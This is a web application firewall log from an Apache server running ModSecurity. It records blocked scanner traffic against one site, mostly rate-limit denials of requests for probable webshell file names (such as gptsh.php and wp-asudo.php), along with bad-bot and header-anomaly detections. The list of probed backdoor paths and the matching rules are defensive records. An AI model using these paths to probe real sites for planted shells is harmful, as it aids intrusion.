[Mon Mar 30 18:17:05.472153 2026] [:error] [pid 11947:tid 11964] [client 51.83.237.175:59424] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "acpNoTSVtzzXIgk-FgkmfgAAAg8"]
[Mon Mar 30 18:17:07.373225 2026] [:error] [pid 12106:tid 12121] [client 51.83.237.175:57894] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "acpNo7IKxOs8TAdw7hcKAQAAAo0"]
[Mon Mar 30 18:18:29.345556 2026] [:error] [pid 35250:tid 35313] [client 51.83.237.175:41806] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "acpN9YaKM1MR6zcp2YNOxgAAAMI"]
[Mon Mar 30 18:18:31.368691 2026] [:error] [pid 35248:tid 35257] [client 51.83.237.175:45100] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "acpN973igMCgAQPFS_929wAAAEM"]
[Mon Mar 30 18:18:33.545952 2026] [:error] [pid 35248:tid 35261] [client 51.83.237.175:45106] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "acpN-b3igMCgAQPFS_92-wAAAEc"]
[Mon Mar 30 18:18:35.587432 2026] [:error] [pid 11947:tid 11955] [client 51.83.237.175:45110] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acpN-zSVtzzXIgk-FgkofwAAAgY"]
[Mon Mar 30 18:18:37.623796 2026] [:error] [pid 35248:tid 35276] [client 51.83.237.175:51992] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "acpN_b3igMCgAQPFS_92_wAAAFY"]
[Mon Mar 30 18:18:39.634851 2026] [:error] [pid 35248:tid 35258] [client 51.83.237.175:51996] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "acpN_73igMCgAQPFS_93DwAAAEQ"]
[Mon Mar 30 20:21:41.632086 2026] [:error] [pid 11947:tid 11951] [client 43.132.214.228:52052] [client 43.132.214.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acpq1TSVtzzXIgk-Fglv7QAAAgI"]
[Mon Mar 30 22:44:32.440685 2026] [:error] [pid 60747:tid 60821] [client 20.104.195.176:16331] [client 20.104.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "acqMUAU3IY-cCpy_-zE5IgAAANI"]
[Mon Mar 30 22:44:33.274374 2026] [:error] [pid 60745:tid 60767] [client 20.104.195.176:15375] [client 20.104.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "acqMUSQDBn75QnHaPb9E8AAAAFI"]
[Mon Mar 30 22:44:34.094682 2026] [:error] [pid 63557:tid 63579] [client 20.104.195.176:15361] [client 20.104.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "acqMUq4QNVlzYgEvIjmjUwAAARQ"]
[Mon Mar 30 22:44:34.939633 2026] [:error] [pid 60746:tid 60778] [client 20.104.195.176:15370] [client 20.104.195.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "acqMUp4kQrgjDdAbQCog4wAAAII"]
[Mon Mar 30 22:56:00.027018 2026] [:error] [pid 60835:tid 60859] [client 212.47.130.77:5362] [client 212.47.130.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.47.130.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acqPAAIOJ4Lc0iJVRzzspAAAABY"]
[Tue Mar 31 03:14:04.602774 2026] [:error] [pid 36939:tid 36956] [client 15.204.12.43:56541] [client 15.204.12.43] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/cidaas-pro-master/composer.json"] [unique_id "acrLfMRDKH225Jeq1jeMYQAAAA8"]
[Tue Mar 31 03:50:46.542428 2026] [:error] [pid 18439:tid 18462] [client 74.248.131.192:12906] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-asudo.php"] [unique_id "acrUFi-R9nOaA8Xqs7h6qAAAAMs"]
[Tue Mar 31 03:50:47.061909 2026] [:error] [pid 18333:tid 18389] [client 74.248.131.192:12885] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-asudo.php"] [unique_id "acrUF0Sx2C5hLR0-8dK6CwAAAEo"]
[Tue Mar 31 03:50:47.574715 2026] [:error] [pid 18334:tid 18414] [client 74.248.131.192:12914] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-asudo.php"] [unique_id "acrUF3qQrXLbk1cg3mgIEAAAAIg"]
[Tue Mar 31 03:50:48.093141 2026] [:error] [pid 18332:tid 18366] [client 74.248.131.192:12804] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-asudo.php"] [unique_id "acrUGL4KXr1F9raS5GR2AQAAABI"]
[Tue Mar 31 03:50:48.605158 2026] [:error] [pid 18332:tid 18356] [client 74.248.131.192:12830] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-temp.php"] [unique_id "acrUGL4KXr1F9raS5GR2BgAAAAg"]
[Tue Mar 31 03:50:49.135889 2026] [:error] [pid 18334:tid 18411] [client 74.248.131.192:12887] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-temp.php"] [unique_id "acrUGXqQrXLbk1cg3mgIGgAAAIU"]
[Tue Mar 31 03:50:49.646859 2026] [:error] [pid 18333:tid 18383] [client 74.248.131.192:12815] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-moonka.php"] [unique_id "acrUGUSx2C5hLR0-8dK6EQAAAEQ"]
[Tue Mar 31 03:50:50.162725 2026] [:error] [pid 18333:tid 18394] [client 74.248.131.192:12925] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "acrUGkSx2C5hLR0-8dK6FAAAAE8"]
[Tue Mar 31 03:50:50.672631 2026] [:error] [pid 18334:tid 18424] [client 74.248.131.192:12749] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "acrUGnqQrXLbk1cg3mgIIwAAAJI"]
[Tue Mar 31 03:50:51.188552 2026] [:error] [pid 18332:tid 18355] [client 74.248.131.192:12908] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/press.php"] [unique_id "acrUG74KXr1F9raS5GR2FQAAAAc"]
[Tue Mar 31 03:50:51.699182 2026] [:error] [pid 18332:tid 18348] [client 74.248.131.192:12802] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "acrUG74KXr1F9raS5GR2GAAAAAA"]
[Tue Mar 31 03:50:52.211210 2026] [:error] [pid 18334:tid 18417] [client 74.248.131.192:12807] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "acrUHHqQrXLbk1cg3mgIKgAAAIs"]
[Tue Mar 31 03:50:52.720614 2026] [:error] [pid 18334:tid 18411] [client 74.248.131.192:12812] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "acrUHHqQrXLbk1cg3mgINAAAAIU"]
[Tue Mar 31 03:50:53.230720 2026] [:error] [pid 18334:tid 18414] [client 74.248.131.192:12884] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "acrUHXqQrXLbk1cg3mgIOQAAAIg"]
[Tue Mar 31 03:50:53.747103 2026] [:error] [pid 18334:tid 18426] [client 74.248.131.192:12817] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Geforce.php"] [unique_id "acrUHXqQrXLbk1cg3mgIPQAAAJQ"]
[Tue Mar 31 03:50:54.277052 2026] [:error] [pid 18439:tid 18474] [client 74.248.131.192:12810] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gptsh.php"] [unique_id "acrUHi-R9nOaA8Xqs7h6sQAAANc"]
[Tue Mar 31 03:50:54.791268 2026] [:error] [pid 18333:tid 18403] [client 74.248.131.192:12893] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "acrUHkSx2C5hLR0-8dK6KQAAAFg"]
[Tue Mar 31 03:50:55.323040 2026] [:error] [pid 18439:tid 18452] [client 74.248.131.192:12901] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "acrUHy-R9nOaA8Xqs7h6ugAAAME"]
[Tue Mar 31 03:50:55.915225 2026] [:error] [pid 18333:tid 18381] [client 74.248.131.192:12739] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "acrUH0Sx2C5hLR0-8dK6LQAAAEI"]
[Tue Mar 31 03:50:56.433584 2026] [:error] [pid 18333:tid 18388] [client 74.248.131.192:12856] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/albin.php"] [unique_id "acrUIESx2C5hLR0-8dK6MQAAAEk"]
[Tue Mar 31 03:50:56.978539 2026] [:error] [pid 18439:tid 18466] [client 74.248.131.192:12854] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8pewqMTX.php"] [unique_id "acrUIC-R9nOaA8Xqs7h6wQAAAM8"]
[Tue Mar 31 03:50:57.492501 2026] [:error] [pid 18439:tid 18469] [client 74.248.131.192:12813] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8pewqMTX.php"] [unique_id "acrUIS-R9nOaA8Xqs7h6wwAAANI"]
[Tue Mar 31 03:50:58.006787 2026] [:error] [pid 18439:tid 18467] [client 74.248.131.192:12910] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8pewqMTX.php"] [unique_id "acrUIi-R9nOaA8Xqs7h6xgAAANA"]
[Tue Mar 31 03:50:58.526004 2026] [:error] [pid 18439:tid 18453] [client 74.248.131.192:12923] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8pewqMTX.php"] [unique_id "acrUIi-R9nOaA8Xqs7h6ygAAAMI"]
[Tue Mar 31 03:50:59.106410 2026] [:error] [pid 18334:tid 18422] [client 74.248.131.192:12877] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ddpxi.php"] [unique_id "acrUI3qQrXLbk1cg3mgIUQAAAJA"]
[Tue Mar 31 03:50:59.657291 2026] [:error] [pid 18334:tid 18406] [client 74.248.131.192:12868] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ddpxi.php"] [unique_id "acrUI3qQrXLbk1cg3mgIVgAAAIA"]
[Tue Mar 31 03:51:00.194844 2026] [:error] [pid 18332:tid 18373] [client 74.248.131.192:12814] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ddpxi.php"] [unique_id "acrUJL4KXr1F9raS5GR2HAAAABg"]
[Tue Mar 31 03:51:00.800722 2026] [:error] [pid 18439:tid 18473] [client 74.248.131.192:12835] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/IcC7p.php"] [unique_id "acrUJC-R9nOaA8Xqs7h62AAAANY"]
[Tue Mar 31 03:51:01.309709 2026] [:error] [pid 18333:tid 18399] [client 74.248.131.192:12865] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/IcC7p.php"] [unique_id "acrUJUSx2C5hLR0-8dK6QwAAAFQ"]
[Tue Mar 31 03:51:01.825265 2026] [:error] [pid 18334:tid 18414] [client 74.248.131.192:12912] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/IcC7p.php"] [unique_id "acrUJXqQrXLbk1cg3mgIWQAAAIg"]
[Tue Mar 31 03:51:02.337734 2026] [:error] [pid 18439:tid 18460] [client 74.248.131.192:12898] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/IcC7p.php"] [unique_id "acrUJi-R9nOaA8Xqs7h64QAAAMk"]
[Tue Mar 31 03:51:02.851136 2026] [:error] [pid 18439:tid 18456] [client 74.248.131.192:12892] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "acrUJi-R9nOaA8Xqs7h66QAAAMU"]
[Tue Mar 31 03:51:03.373336 2026] [:error] [pid 18333:tid 18381] [client 74.248.131.192:12915] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "acrUJ0Sx2C5hLR0-8dK6TgAAAEI"]
[Tue Mar 31 03:51:03.909664 2026] [:error] [pid 18333:tid 18394] [client 74.248.131.192:12740] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "acrUJ0Sx2C5hLR0-8dK6VQAAAE8"]
[Tue Mar 31 03:51:04.423930 2026] [:error] [pid 18333:tid 18383] [client 74.248.131.192:12882] [client 74.248.131.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "acrUKESx2C5hLR0-8dK6WgAAAEQ"]
[Tue Mar 31 04:07:26.595998 2026] [:error] [pid 18332:tid 18355] [client 185.198.240.164:39629] [client 185.198.240.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "acrX_r4KXr1F9raS5GR9twAAAAc"]
[Tue Mar 31 06:19:10.046862 2026] [:error] [pid 18333:tid 18381] [client 43.153.67.21:57616] [client 43.153.67.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acr23kSx2C5hLR0-8dIIgwAAAEI"]
[Tue Mar 31 06:23:33.460900 2026] [:error] [pid 11907:tid 11921] [client 217.182.194.26:36878] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "acr35ccoKGLZkBF4Ym1ZdwAAAgs"]
[Tue Mar 31 06:23:35.398399 2026] [:error] [pid 18334:tid 18428] [client 217.182.194.26:34180] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "acr353qQrXLbk1cg3mhbawAAAJY"]
[Tue Mar 31 06:23:37.294650 2026] [:error] [pid 11822:tid 11840] [client 217.182.194.26:34184] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "acr36SLLrL4a3YEM2I0MVgAAAZA"]
